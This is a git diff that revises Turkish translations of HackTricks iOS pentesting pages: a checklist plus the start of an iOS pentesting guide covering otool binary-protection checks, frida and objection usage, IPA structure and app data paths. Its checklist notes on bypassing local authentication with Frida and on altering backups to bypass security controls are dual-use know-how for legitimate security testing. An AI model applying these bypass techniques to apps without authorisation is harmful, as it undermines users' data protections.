@@ -52,8 +52,8 @@ HackTricks'ı desteklemenin diğer yolları: ### Klavyeler -* [ ] Uygulama [**özel klavye kullanımına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)? -* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) kaydedilip kaydedilmediğini kontrol edin +* [ ] Uygulama [**özel klavyelerin kullanımına izin veriyor mu**](ios-pentesting/#custom-keyboards-keyboard-cache)? +* [ ] Hassas bilgilerin [**klavye önbellek dosyalarında**](ios-pentesting/#custom-keyboards-keyboard-cache) saklanıp saklanmadığını kontrol edin ### **Kayıtlar** @@ -61,49 +61,49 @@ HackTricks'ı desteklemenin diğer yolları: ### Yedekler -* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere erişmek için kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin) -* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını değiştirmek için kullanılabilir, ardından yedeği telefona geri yükleyebilir ve değiştirilmiş yapılandırma yüklendiğinde bazı (güvenlik) **işlevselliği** atlanabilir +* [ ] [**Yedekler**](ios-pentesting/#backups) dosya sistemine kaydedilen hassas bilgilere **erişmek için** kullanılabilir (bu kontrol listesinin başlangıç noktasını kontrol edin) +* [ ] Ayrıca, [**yedekler**](ios-pentesting/#backups) uygulamanın bazı yapılandırmalarını **değiştirmek** için kullanılabilir, ardından yedeği telefona **geri yükleyerek** ve **değiştirilmiş yapılandırma** yüklendiğinde bazı (güvenlik) **işlevselliğin atlatılabileceği** kontrol edilebilir ### **Uygulamaların Belleği** -* [ ] [**Uygulamanın belleği içinde hassas bilgileri**](ios-pentesting/#testing-memory-for-sensitive-data) kontrol edin +* [ ] [**Uygulamanın belleği içinde**](ios-pentesting/#testing-memory-for-sensitive-data) hassas bilgileri kontrol edin ### **Kırık Şifreleme** -* [ ] [**Şifreleme için kullanılan şifreleri**](ios-pentesting/#broken-cryptography) bulabilir misiniz? +* [ ] [**Şifreleme için kullanılan şifrelerin**](ios-pentesting/#broken-cryptography) bulunup bulunamayacağını kontrol edin * [ ] Hassas verileri göndermek/depolamak için [**eskimiş/zayıf algoritmaların**](ios-pentesting/#broken-cryptography) kullanılıp kullanılmadığını kontrol edin * [ ] [**Şifreleme işlevlerini takip edin ve izleyin**](ios-pentesting/#broken-cryptography) ### **Yerel Kimlik Doğrulama** -* [ ] Uygulamada [**yerel kimlik doğrulama**](ios-pentesting/#local-authentication) kullanılıyorsa, kimlik doğrulamanın nasıl çalıştığını kontrol etmelisiniz. +* [ ] Uygulamada [**yerel kimlik doğrulama**](ios-pentesting/#local-authentication) kullanılıyorsa, kimlik doğrulamanın nasıl çalıştığını kontrol edin. * [ ] Eğer [**Yerel Kimlik Doğrulama Çerçevesi**](ios-pentesting/#local-authentication-framework) kullanılıyorsa kolayca atlatılabilir * [ ] Eğer [**dinamik olarak atlatılabilen bir işlev**](ios-pentesting/#local-authentication-using-keychain) kullanılıyorsa özel bir frida betiği oluşturabilirsiniz -### IPC Aracılığıyla Hassas İşlevlerin Maruz Kalması +### IPC Aracılığıyla Hassas İşlevsellik Maruziyeti * [**Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] Uygulamanın **herhangi bir protokol/şema kaydettiğini** kontrol edin * [ ] Uygulamanın herhangi bir protokol/şemayı kullanmak için **kaydolduğunu** kontrol edin -* [ ] Uygulamanın özel şemayı kullanan başka bir uygulama tarafından **intercept edilebilecek hassas bilgileri almayı beklediğini** kontrol edin -* [ ] Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin -* [ ] Uygulamanın herhangi bir yerden özel şema aracılığıyla **çağrılabilen hassas bir işlevi açığa çıkardığını** kontrol edin +* [ ] Uygulamanın, aynı şemayı kaydeden başka bir uygulama tarafından **intercept edilebilecek** herhangi bir hassas bilgiyi almayı bekleyip beklemediğini kontrol edin +* [ ] Uygulamanın, özel şemayla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin +* [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik açığa çıkarmadığını** kontrol edin * [**Evrensel Bağlantılar**](ios-pentesting/#universal-links) * [ ] Uygulamanın **herhangi bir evrensel protokol/şema kaydettiğini** kontrol edin * [ ] `apple-app-site-association` dosyasını kontrol edin -* [ ] Uygulamanın özel şema üzerinden kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin -* [ ] Uygulamanın herhangi bir yerden özel şema aracılığıyla **çağrılabilen hassas bir işlevi açığa çıkardığını** kontrol edin +* [ ] Uygulamanın, özel şema aracılığıyla kullanıcı girişlerini **kontrol etmediğini ve temizlemediğini** ve bazı **zafiyetlerin** sömürülebileceğini kontrol edin +* [ ] Uygulamanın, özel şema aracılığıyla herhangi bir yerden çağrılabilen **hassas bir işlevsellik açığa çıkarmadığını** kontrol edin * [**UIActivity Paylaşımı**](ios-pentesting/ios-uiactivity-sharing.md) * [ ] Uygulamanın UIActivities alıp alamayacağını ve özellikle oluşturulmuş bir etkinlikle herhangi bir zafiyetin sömürülüp sömürülemeyeceğini kontrol edin * [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) * [ ] Uygulamanın **genel panoya herhangi bir şey kopyalayıp kopyalamadığını** kontrol edin * [ ] Uygulamanın **genel panodan veri kullanıp kullanmadığını** kontrol edin -* [ ] Hassas verilerin kopyalanıp kopyalanmadığını görmek için panoyu izleyin +* [ ] Panoyu izleyerek herhangi bir **hassas verinin kopyalanıp kopyalanmadığını** kontrol edin * [**Uygulama Uzantıları**](ios-pentesting/ios-app-extensions.md) * [ ] Uygulamanın **herhangi bir uzantıyı kullanıp kullanmadığını** kontrol edin * [**Web Görünümleri**](ios-pentesting/ios-webviews.md) -* [ ] Kullanılan web görünümlerinin türlerini kontrol edin -* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumlarını kontrol edin +* [ ] Hangi tür web görünümlerinin kullanıldığını kontrol edin +* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** durumunu kontrol edin * [ ] Web görünümünün **file://** protokolüyle **yerel dosyalara erişip erişemediğini** kontrol edin **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) * [ ] Javascript'in **Native** **metodlara erişip erişemediğini** kontrol edin (`JSContext`, `postMessage`) ### Ağ İletişimi @@ -137,7 +137,7 @@ HackTricks'i desteklemenin diğer yolları: -
+
\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index 6148c4d53..1f5b77ad1 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -1,24 +1,24 @@ # iOS Pentesting -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklam vermek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* Özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. -* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**. +* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
@@ -40,54 +40,54 @@ Bu sayfada **iOS simülatörü**, **emülatörler** ve **jailbreak** hakkında b ### Temel iOS Test İşlemleri -Test sırasında **birkaç işlem önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız, lütfen **sayfayı okumaya başlayın**: +Test sırasında **çeşitli işlemler önerilecek** (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma...). Bu nedenle, bu işlemlerin nasıl gerçekleştirileceğini bilmiyorsanız, lütfen **sayfayı okumaya başlayın**: {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) {% endcontent-ref %} {% hint style="info" %} -Aşağıdaki adımlar için **uygulama cihaza yüklenmiş olmalı** ve uygulamanın **IPA dosyası** zaten alınmış olmalıdır.\ +Aşağıdaki adımlar için **uygulamanın cihaza yüklenmiş olması** ve uygulamanın **IPA dosyasının zaten edinilmiş olması** gerekmektedir.\ Bunu nasıl yapacağınızı öğrenmek için [Temel iOS Test İşlemleri](basic-ios-testing-operations.md) sayfasını okuyun. {% endhint %} ### Temel Statik Analiz -IPA dosyasına otomatik bir Statik Analiz yapmak için [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) aracını kullanmanız önerilir. +**MobSF** aracını kullanarak IPA dosyasına otomatik Statik Analiz yapmanız önerilir. -Binary'de bulunan **korumaların tanımlanması**: +**Binary'de bulunan korumaların tanımlanması**: -* **PIE (Position Independent Executable)**: Etkinleştirildiğinde, uygulama her başlatıldığında rastgele bir bellek adresine yüklenir, bu da başlangıç bellek adresini tahmin etmeyi zorlaştırır. +* **PIE (Konum Bağımsız Yürütülebilir)**: Etkinleştirildiğinde, uygulama her başlatıldığında rastgele bir bellek adresine yüklenir, başlangıç bellek adresini tahmin etmeyi zorlaştırır. ```bash -otool -hv | grep PIE # PIE bayrağını içermesi gerekiyor +otool -hv | grep PIE # PIE bayrağını içermesi gerekmektedir ``` -* **Stack Canaries**: Yığının bütünlüğünü doğrulamak için, bir işlevi çağırmadan önce yığında bir 'canary' değeri yerleştirilir ve işlev sona erdikten sonra tekrar doğrulanır. +* **Yığın Kanaryaları**: Yığının bütünlüğünü doğrulamak için bir 'kanarya' değeri bir işlevi çağırmadan önce yığına yerleştirilir ve işlev sona erdiğinde yeniden doğrulanır. ```bash -otool -I -v | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermesi gerekiyor +otool -I -v | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermesi gerekmektedir ``` -* **ARC (Automatic Reference Counting)**: Ortak bellek bozulma hatalarını önlemek için +* **ARC (Otomatik Referans Sayımı)**: Ortak bellek bozulma hatalarını önlemek için ```bash -otool -I -v | grep objc_release # _objc_release sembolünü içermesi gerekiyor +otool -I -v | grep objc_release # _objc_release sembolünü içermesi gerekmektedir ``` -* **Şifrelenmiş Binary**: Binary şifrelenmiş olmalı +* **Şifrelenmiş Binary**: Binary şifrelenmiş olmalıdır ```bash -otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptid 1 olmalı +otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptid 1 olmalıdır ``` **Hassas/Güvensiz Fonksiyonların Tanımlanması** -* **Zayıf Hash Algoritmaları** +* **Zayıf Hashleme Algoritmaları** ```bash # iOS cihazında otool -Iv | grep -w "_CC_MD5" otool -Iv | grep -w "_CC_SHA1" -# Linux'ta +# Linux üzerinde grep -iER "_CC_MD5" grep -iER "_CC_SHA1" ``` @@ -99,7 +99,7 @@ otool -Iv | grep -w "_random" otool -Iv | grep -w "_srand" otool -Iv | grep -w "_rand" -# Linux'ta +# Linux üzerinde grep -iER "_random" grep -iER "_srand" grep -iER "_rand" @@ -110,10 +110,10 @@ grep -iER "_rand" # iOS cihazında otool -Iv | grep -w "_malloc" -# Linux'ta +# Linux üzerinde grep -iER "_malloc" ``` -* **Güvensiz ve Savunmasız Fonksiyonlar** +* **Güvensiz ve Kötüye Kullanılabilir Fonksiyonlar** ```bash # iOS cihazında @@ -129,7 +129,7 @@ otool -Iv | grep -w "_sprintf" otool -Iv | grep -w "_printf" otool -Iv | grep -w "_vsprintf" -# Linux'ta +# Linux üzerinde grep -R "_gets" grep -iER "_memcpy" grep -iER "_strncpy" @@ -145,11 +145,11 @@ grep -iER "_vsprintf" ### Temel Dinamik Analiz -[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak diğer işlemleri yaparken birçok sınıfa bağlanacak ve bir rapor hazırlayacaktır. +[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analize göz atın. Farklı görünümler arasında gezinmeniz ve etkileşimde bulunmanız gerekecek, ancak birçok sınıfa bağlanacak ve diğer işlemleri yapacak ve işiniz bittiğinde bir rapor hazırlayacaktır. -### Yüklenmiş Uygulamaların Listelenmesi +### Yüklü Uygulamaların Listelenmesi -`frida-ps -Uai` komutunu kullanarak yüklenmiş uygulamaların **bundle kimliğini** belirleyin: +`frida-ps -Uai` komutunu kullanarak yüklü uygulamaların **paket tanımlayıcısını** belirleyin: ```bash $ frida-ps -Uai PID Name Identifier @@ -162,9 +162,9 @@ PID Name Identifier - Camera com.apple.camera - iGoat-Swift OWASP.iGoat-Swift ``` -### Temel Sıralama ve Hooking +### Temel Numaralandırma ve Hooking -Uygulamanın bileşenlerini **sıralamanın** ve yöntemleri ve sınıfları kolayca **hooking** yapmanın nasıl yapılacağını öğrenin: +Uygulamanın bileşenlerini **numaralandırma** ve yöntemleri ve sınıfları kolayca **hooklama** konusunda objection ile nasıl yapılacağını öğrenin: {% content-ref url="ios-hooking-with-objection.md" %} [ios-hooking-with-objection.md](ios-hooking-with-objection.md) @@ -172,45 +172,45 @@ Uygulamanın bileşenlerini **sıralamanın** ve yöntemleri ve sınıfları kol ### IPA Yapısı -Bir **IPA dosyasının** yapısı temel olarak bir **sıkıştırılmış paketin** yapısıdır. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini ortaya çıkarmak için **sıkıştırılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kaynaklarını kapsayan tamamen paketlenmiş bir uygulamayı temsil eder. +Bir **IPA dosyasının** yapısı temelde bir **sıkıştırılmış paket** yapısındadır. Uzantısını `.zip` olarak değiştirerek, içeriğini ortaya çıkarmak için **açılabilir**. Bu yapı içinde, bir **Paket** uygulamanın kurulmaya hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `.app` adında bir dizin bulacaksınız. -* **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını içerir. +* **`Info.plist`**: Bu dosya uygulamanın belirli yapılandırma detaylarını tutar. * **`_CodeSignature/`**: Bu dizin, paketteki tüm dosyaların bütünlüğünü sağlayan bir imza içeren bir plist dosyasını içerir. -* **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv. -* **`Frameworks/`**: Bu klasör, uygulamanın `.dylib` veya `.framework` dosyaları şeklinde olabilen yerel kitaplıklarını barındırır. -* **`PlugIns/`**: Bu, uygulamaya eklenti olarak adlandırılan `.appex` dosyalarını içerebilir, ancak her zaman mevcut değildir. -* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Çevrimdışı kullanım için uygulamanızın kalıcı verilerini kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabındaki birden çok cihaz arasında veri senkronizasyonu için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır. -* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve oluşturucu kodlarını belirtmenin alternatif bir yoludur. -* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketlerini ve desteklenmeyen bir dil için varsayılan bir kaynağı içeren dil paketlerini içeren dil paketleridir. +* **`Assets.car`**: Simgeler gibi varlık dosyalarını depolayan sıkıştırılmış bir arşiv. +* **`Frameworks/`**: Bu klasör uygulamanın yerel kütüphanelerini barındırır, bu kütüphaneler `.dylib` veya `.framework` dosyaları şeklinde olabilir. +* **`PlugIns/`**: Bu, uygulamanın uzantılarını içerebilir, `.appex` dosyaları olarak bilinir, ancak her zaman mevcut değildir. +* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Bir iCloud hesabında birden fazla cihaz arasında veri senkronizasyonu yapmak için Core Data, şemanızı otomatik olarak bir CloudKit konteynerine yansıtır. +* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya paketinizin türünü ve yaratıcı kodlarını belirtmenin alternatif bir yoludur. +* **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan bir kaynak içerir. * **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar. -* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırmayı kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir. -* **Framework'ler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere yeniden kullanılabilir kod kitaplıklarını (`Frameworks/`) ve uygulama işlevselliğini genişletmelerini (`PlugIns/`) sağlar. -* **Yerelleştirme**: Yapı, birden çok dil için desteklenen kaynakları içererek küresel uygulama erişimini kolaylaştırır. +* **Varlık Yönetimi**: `Assets.car` dosyası, grafiksel varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir. +* **Kütüphaneler ve Eklentiler**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilere tekrar kullanılabilir kod kütüphanelerini (`Frameworks/`) içermelerine ve uygulama işlevselliğini genişletmelerine (`PlugIns/`) olanak tanır. +* **Yerelleştirme**: Yapı, özel dil paketleri için kaynakları içererek çoklu dilleri destekler, böylece belirli dil paketleri için kaynakları içererek küresel uygulama erişimini kolaylaştırır. **Info.plist** -**Info.plist**, iOS uygulamaları için bir köşe taşı olarak hizmet eder ve **anahtar-değer** çiftleri şeklindeki önemli yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar önemli bilgileri içerir. Mevcut anahtarlar hakkında ayrıntılı bir keşif için, [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) başvurulabilir. +**Info.plist**, iOS uygulamaları için bir köşetaşı olarak hizmet eder, ana yapılandırma verilerini **anahtar-değer** çiftleri şeklinde kapsar. Bu dosya sadece uygulamalar için değil, aynı zamanda uygulama uzantıları ve içinde paketlenmiş çerçeveler için de gereklidir. XML veya ikili bir formatta yapılandırılmış olup, uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri içerir. Mevcut anahtarlar hakkında detaylı keşif için [**Apple Geliştirici Belgelerine**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) başvurulabilir. -Bu dosya ile daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta `plutil` (sürüm 10.2 ve sonraki sürümlerde doğal olarak mevcut) veya Linux'ta `plistutil` kullanılarak kolayca gerçekleştirilebilir. Dönüşüm için kullanılan komutlar aşağıdaki gibidir: +Bu dosya ile çalışmak isteyenler için daha erişilebilir bir formatta çalışmak için XML dönüşümü, macOS'ta (`plutil` ile, 10.2 ve sonraki sürümlerde doğal olarak mevcuttur) veya Linux'ta (`plistutil` ile) kolayca gerçekleştirilebilir. Dönüşüm için komutlar şunlardır: -- **macOS için**: +* **macOS için**: ```bash $ plutil -convert xml1 Info.plist ``` -- **Linux için**: +* **Linux için**: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Info.plist** dosyasının ifşa edebileceği bilgiler arasında, dikkate değer girişler arasında uygulama izin dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunur. Bu girişler, diğerleriyle birlikte (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) dışa aktarılan / içe aktarılan özel belge türleri gibi, dosyanın incelenmesi veya basit bir `grep` komutu kullanılarak kolayca bulunabilir: +**Info.plist** dosyasının ifşa edebileceği bilgi yığını arasında, dikkate değer girişler arasında uygulama izni dizeleri (`UsageDescription`), özel URL şemaları (`CFBundleURLTypes`) ve App Transport Security için yapılandırmalar (`NSAppTransportSecurity`) bulunmaktadır. Bu girişler, `grep` komutunu kullanarak dosyayı inceleyerek veya basit bir şekilde yerini tespit edebilir. ```bash $ grep -i Info.plist ``` **Veri Yolları** -iOS ortamında, dizinler özel olarak **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır, bu nedenle dizin adlarının rastgele olması nedeniyle bir uygulamanın klasörünü manuel olarak bulmak zor olabilir. +iOS ortamında, dizinler özellikle **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için ayrılmıştır. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/private/var/containers/` altına yerleştirilir. Bu uygulamalara **128-bit UUID** olarak bilinen benzersiz bir kimlik ataması yapılır, bu nedenle uygulamanın klasörünü manuel olarak bulmak rastgele dizin adlarından dolayı zor olabilir. -Bir kullanıcı tarafından yüklenen uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı**, `env` adlı kullanışlı bir komut sağlar. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek verilmiştir: +Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için **objection aracı** yararlı bir `env` komutu sağlar. Bu komut, söz konusu uygulama için detaylı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -225,7 +225,7 @@ Alternatif olarak, uygulama adı `find` komutu kullanılarak `/private/var/conta ```bash find /private/var/containers -name "Progname*" ``` -`ps` ve `lsof` gibi komutlar, uygulamanın sürecini belirlemek ve açık dosyaları listelemek için kullanılabilir. Bu komutlar, uygulamanın etkin dizin yolları hakkında bilgi sağlar: +Komutlar `ps` ve `lsof` ayrıca uygulamanın işlemini tanımlamak ve sırasıyla açık dosyaları listelemek için kullanılabilir, uygulamanın etkin dizin yollarına dair içgörüler sağlar: ```bash ps -ef | grep -i lsof -p | grep -i "/containers" | head -n 1 @@ -233,43 +233,43 @@ lsof -p | grep -i "/containers" | head -n 1 **Paket dizini:** * **AppName.app** -* Bu, IPA'da daha önce görüldüğü gibi Uygulama Paketi'dir ve temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikili dosyasını içerir. -* Bu dizin kullanıcılara görünür, ancak **kullanıcılar buraya yazamaz**. +* Bu, IPA'da daha önce görüldüğü gibi Uygulama Paketi olup, temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikilisini içerir. +* Bu dizin kullanıcılara görünür, ancak **kullanıcılar yazamaz**. * Bu dizindeki içerik **yedeklenmez**. -* Bu klasörün içeriği, kod imzasını **doğrulamak** için kullanılır. +* Bu klasörün içeriği kod imzasını **doğrulamak** için kullanılır. **Veri dizini:** * **Documents/** -* Kullanıcı tarafından oluşturulan tüm verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır. -* Kullanıcılara görünür ve **kullanıcılar buraya yazabilir**. +* Tüm kullanıcı tarafından oluşturulan verileri içerir. Uygulama son kullanıcı bu verilerin oluşturulmasını başlatır. +* Kullanıcılara görünür ve **kullanıcılar yazabilir**. * Bu dizindeki içerik **yedeklenir**. * Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir. * **Library/** -* Kullanıcıya özgü olmayan tüm dosyaları içerir, örneğin önbellekler, tercihler, çerezler ve özellik listesi (plist) yapılandırma dosyaları. +* **Kullanıcıya özgü olmayan dosyaları** içerir, **ön bellekler**, **tercihler**, **çerezler** ve özellik listesi (plist) yapılandırma dosyaları gibi. * iOS uygulamaları genellikle `Application Support` ve `Caches` alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir. * **Library/Caches/** -* Yarı kalıcı önbelleğe alınmış dosyaları içerir. -* Kullanıcılara görünmez ve **kullanıcılar buraya yazamaz**. +* **Yarı kalıcı önbellek dosyalarını** içerir. +* Kullanıcılara **görünmez ve kullanıcılar yazamaz**. * Bu dizindeki içerik **yedeklenmez**. * Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir. * **Library/Application Support/** -* Uygulamanın çalışması için gerekli olan **kalıcı dosyaları** içerir. -* Kullanıcılara **görünmez** ve kullanıcılar buraya yazamaz. +* Uygulamanın çalıştırılması için gerekli olan **kalıcı dosyaları** içerir. +* Kullanıcılara **görünmez ve kullanıcılar yazamaz**. * Bu dizindeki içerik **yedeklenir**. * Uygulama, `NSURLIsExcludedFromBackupKey` ayarlayarak yolları devre dışı bırakabilir. * **Library/Preferences/** -* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olarak saklanabilen** özellikleri depolamak için kullanılır. -* Bilgiler, şifrelenmemiş olarak, uygulama sandbox'ının içinde \[BUNDLE\_ID].plist adlı bir plist dosyasında kaydedilir. +* Bir uygulama yeniden başlatıldıktan sonra bile **kalıcı olabilen özellikleri** depolamak için kullanılır. +* Bilgiler, \[BUNDLE\_ID].plist adlı bir plist dosyasında şifrelenmemiş olarak uygulama kum havuzunun içinde kaydedilir. * `NSUserDefaults` kullanılarak depolanan tüm anahtar/değer çiftleri bu dosyada bulunabilir. * **tmp/** -* Uygulama başlatmaları arasında kalıcı olması gerekmeyen **geçici dosyaları** yazmak için bu dizini kullanın. -* Kalıcı olmayan önbelleğe alınmış dosyaları içerir. +* Uygulama başlatmaları arasında kalıcı olması gerekli olmayan **geçici dosyaları** yazmak için bu dizini kullanın. +* Kalıcı olmayan önbellek dosyalarını içerir. * Kullanıcılara **görünmez**. * Bu dizindeki içerik yedeklenmez. * Uygulama çalışmıyorken ve depolama alanı azaldığında işletim sistemi bu dizinin dosyalarını otomatik olarak silebilir. -İGoat-Swift'in Paket Dizini (.app) dizinine, Bundle dizini içindeki (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) bir göz atalım: +iGoat-Swift'in Uygulama Paketi (.app) dizinine 